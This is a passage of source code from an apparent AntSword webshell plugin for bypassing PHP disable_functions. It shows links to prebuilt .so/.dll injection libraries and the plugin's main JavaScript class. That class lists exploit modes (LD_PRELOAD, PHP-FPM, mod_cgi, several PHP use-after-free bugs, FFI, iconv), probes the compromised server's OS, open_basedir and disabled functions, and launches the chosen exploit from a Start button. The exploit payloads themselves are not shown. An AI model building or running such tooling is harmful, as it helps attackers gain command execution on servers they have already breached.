295 | "Fastcgi配置不当对外开放利用 (Author: Vinc)": "http://vinc.top/2016/11/23/%E3%80%90%E8%BF%90%E7%BB%B4%E5%AE%89%E5%85%A8%E3%80%91fastcgi%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%B9%E5%A4%96%E5%BC%80%E6%94%BE%E5%88%A9%E7%94%A8/",
296 | "PHP-FastCGI-Client (Author: adoy)": "https://github.com/adoy/PHP-FastCGI-Client",
297 | "wofeiwo/fcgi_jailbreak.php": "https://gist.github.com/wofeiwo/4f41381a388accbf91f8",
298 | };
299 | let ret = "";
300 | Object.keys(refs).map((k) => {
301 | ret += `${k}`;
302 | })
303 | return ``;
304 | }
305 |
306 | module.exports = PHP_FPM;
--------------------------------------------------------------------------------
/ext/ant_x32.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x32.dll
--------------------------------------------------------------------------------
/ext/ant_x32.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x32.so
--------------------------------------------------------------------------------
/ext/ant_x64.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x64.dll
--------------------------------------------------------------------------------
/ext/ant_x64.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x64.so
--------------------------------------------------------------------------------
/ext/ant_x86.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x86.dll
--------------------------------------------------------------------------------
/ext/ant_x86.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x86.so
--------------------------------------------------------------------------------
/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const WIN = require('ui/window'); // 窗口库
4 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
5 | const path = require('path');
6 |
7 | const {
8 | BaseInfo
9 | } = require('./payload');
10 | const LANG = require('./language/'); // 插件语言库
11 |
12 | /**
13 | * 插件类
14 | */
15 | class Plugin {
16 | constructor(opt) {
17 | let self = this;
18 | self.opt = opt;
19 | self.core = new antSword['core'][opt['type']](opt);
20 | self.core_menu = [
21 | // 新增模式时需要在这里添加
22 | // id 为文件名
23 | {
24 | id: "ld_preload",
25 | icon: 'file-code-o',
26 | type: 'button',
27 | text: "LD_PRELOAD"
28 | },
29 | {
30 | id: "php_fpm",
31 | icon: 'file-code-o',
32 | type: 'button',
33 | text: "Fastcgi/PHP_FPM"
34 | },
35 | {
36 | id: "apache_mod_cgi",
37 | icon: 'file-code-o',
38 | type: 'button',
39 | text: "Apache_mod_cgi"
40 | },
41 | {
42 | id: "json_serializer_uaf",
43 | icon: 'file-code-o',
44 | type: 'button',
45 | text: "JSON_Serializer_UAF"
46 | },
47 | {
48 | id: "php7_gc_uaf",
49 | icon: 'file-code-o',
50 | type: 'button',
51 | text: "PHP7_GC_UAF"
52 | },
53 | {
54 | id: "php7_backtrace_uaf",
55 | icon: 'file-code-o',
56 | type: 'button',
57 | text: "PHP7_Backtrace_UAF"
58 | },
59 | {
60 | id: "php74_ffi",
61 | icon: 'file-code-o',
62 | type: 'button',
63 | text: "PHP74_FFI"
64 | },
65 | {
66 | id: "iconv",
67 | icon: 'file-code-o',
68 | type: 'button',
69 | text: "iconv"
70 | },
71 | {
72 | id: "php7_reflectionproperty_uaf",
73 | icon: 'file-code-o',
74 | type: 'button',
75 | text: "PHP7_ReflectionProperty_UAF"
76 | },
77 | {
78 | id: "php7_userfilter",
79 | icon: 'file-code-o',
80 | type: 'button',
81 | text: "PHP7_UserFilter"
82 | },
83 | {
84 | id: "php_concat_uaf",
85 | icon: 'file-code-o',
86 | type: 'button',
87 | text: "PHP_Concat_UAF"
88 | },
89 | ];
90 | let cores = {};
91 | self.core_menu.map((_) => {
92 | cores[_.id] = require(`./core/${_.id}/index`);
93 | });
94 | self.cores = cores;
95 | self.infodata = {
96 | os: "",
97 | arch: "",
98 | ver: "",
99 | shell_name: "", // shell 文件名
100 | phpself: "",
101 | temp_dir: "",
102 | open_basedir: [],
103 | funcs: [],
104 | };
105 | // 创建一个 window
106 | self.status_check = null;
107 | let win = new WIN({
108 | title: `${LANG['title']}-${opt['ip']}`,
109 | height: 500,
110 | width: 650,
111 | });
112 | self.win = win;
113 | self.createToolbar();
114 | self.layout = win.win.attachLayout('2U');
115 | self.config_cell = self.createConfigCell(self.layout.cells('a'));
116 | self.status_cell = self.createStatusCell(self.layout.cells('b'));
117 | self.core_instance = null;
118 | self.reloadStatusCell();
119 |
120 | self.toolbar.attachEvent('onClick', (id) => {
121 | switch (id) {
122 | case 'start':
123 | self.toolbar.disableItem('start');
124 | try {
125 | self.core_instance.exploit();
126 | } catch (e) {
127 | toastr.error(JSON.stringify(e), LANG_T['error']);
128 | }
129 | break;
130 | default:
131 | if (self.cores.hasOwnProperty(id)) {
132 | self.core_instance = new self.cores[id](self.config_cell.cell, self);
133 | self.toolbar.enableItem('start');
134 | }
135 | break;
136 | }
137 | });
138 | // ######### 上方是具体插件代码,由插件作者编写 ##########
139 | }
140 |
141 | reloadStatusCell() {
142 | let self = this;
143 | self.core.request({
144 | _: BaseInfo()
145 | }).then((_ret) => { // 处理返回数据
146 | let res = _ret['text'];
147 | if (res.indexOf("ERROR://") > -1) {
148 | throw res;
149 | } else if (res != "") {
150 | res = antSword.unxss(res, false);
151 | self.infodata = Object.assign(self.infodata, JSON.parse(res));
152 | self.status_cell = self.createStatusCell(self.layout.cells('b'));
153 | }
154 | }).catch((err) => { // 处理异常数据
155 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
156 | });
157 | }
158 |
159 | createStatusCell(cell) {
160 | let self = this;
161 | cell.setWidth(220);
162 | cell.fixSize(1, 0);
163 | cell.setText(` ${LANG['status_cell']['title']}`);
164 | let form = cell.attachForm([{
165 | type: 'settings',
166 | position: 'label-left',
167 | labelWidth: 80,
168 | }, {
169 | type: 'block',
170 | inputWidth: 'auto',
171 | list: [{
172 | type: 'settings',
173 | blockOffset: 0,
174 | labelAlign: "left"
175 | },
176 | {
177 | type: "label",
178 | label: `${LANG['status_cell']['ver']}`
179 | },
180 | {
181 | type: "label",
182 | label: `${LANG['status_cell']['arch']}`
183 | },
184 | {
185 | type: "label",
186 | label: `${LANG['status_cell']['os']}`
187 | },
188 | {
189 | type: "label",
190 | label: `${LANG['status_cell']['phpself']}`
191 | },
192 | {
193 | type: "label",
194 | label: `${LANG['status_cell']['shell_dir']}`
195 | },
196 | {
197 | type: "newcolumn"
198 | },
199 | {
200 | type: "label",
201 | name: "ver",
202 | label: `${antSword.noxss(self.infodata["ver"])}`
203 | },
204 | {
205 | type: "label",
206 | name: "arch",
207 | label: `${antSword.noxss(self.infodata["arch"])}`
208 | },
209 | {
210 | type: "label",
211 | name: "os",
212 | label: `${antSword.noxss(self.infodata["os"])}`
213 | },
214 | {
215 | type: "label",
216 | name: "phpself",
217 | label: `${antSword.noxss(self.infodata["phpself"])}`
218 | },
219 | {
220 | type: "label",
221 | name: "shell_dir",
222 | label: `${antSword.noxss(self.infodata["shell_dir"])}`
223 | },
224 | ]
225 | },
226 | {
227 | type: 'fieldset',
228 | blockOffset: 0,
229 | label: "open_basedir",
230 | width: "auto",
231 | name: "open_basedir",
232 | list: (() => {
233 | let ret = [];
234 | Object.keys(self.infodata.open_basedir).map((v) => {
235 | if (self.infodata.open_basedir[v] == 1) {
236 | ret.push({
237 | type: "label",
238 | label: `${antSword.noxss(v)}`
239 | });
240 | } else {
241 | ret.push({
242 | type: "label",
243 | label: `${antSword.noxss(v)}`
244 | });
245 | }
246 | });
247 | return ret;
248 | })()
249 | },
250 | {
251 | type: 'fieldset',
252 | blockOffset: 0,
253 | label: LANG['status_cell']['func'],
254 | width: "auto",
255 | name: "funcs",
256 | list: (() => {
257 | let ret = [];
258 | Object.keys(self.infodata.funcs).map((v) => {
259 | let status = "";
260 | if (self.infodata.funcs[v] == 1) {
261 | status = "√";
262 | } else {
263 | status = "x";
264 | }
265 | ret.push({
266 | type: "label",
267 | labelWidth: 150,
268 | label: `${antSword.noxss(v)} ${status}`
269 | });
270 | });
271 | return ret;
272 | })()
273 | }
274 | ], true);
275 | return {
276 | cell: cell,
277 | form: form,
278 | }
279 | }
280 |
281 | createToolbar() {
282 | let self = this;
283 | let toolbar = self.win.win.attachToolbar();
284 | toolbar.loadStruct([{
285 | id: 'new',
286 | type: 'buttonSelect',
287 | icon: 'plus-circle',
288 | openAll: true,
289 | text: LANG['toolbar']['select_mode'],
290 | options: self.core_menu,
291 | }, {
292 | id: 'start',
293 | type: 'button',
294 | text: LANG['toolbar']['start'],
295 | icon: 'play',
296 | enabled: false,
297 | }, ]);
298 | self.toolbar = toolbar;
299 | }
300 | createConfigCell(cell) {
301 | let self = this;
302 | cell.hideHeader();
303 | cell.attachHTMLString(`
304 |
305 | ${LANG['no_mode']}
306 | |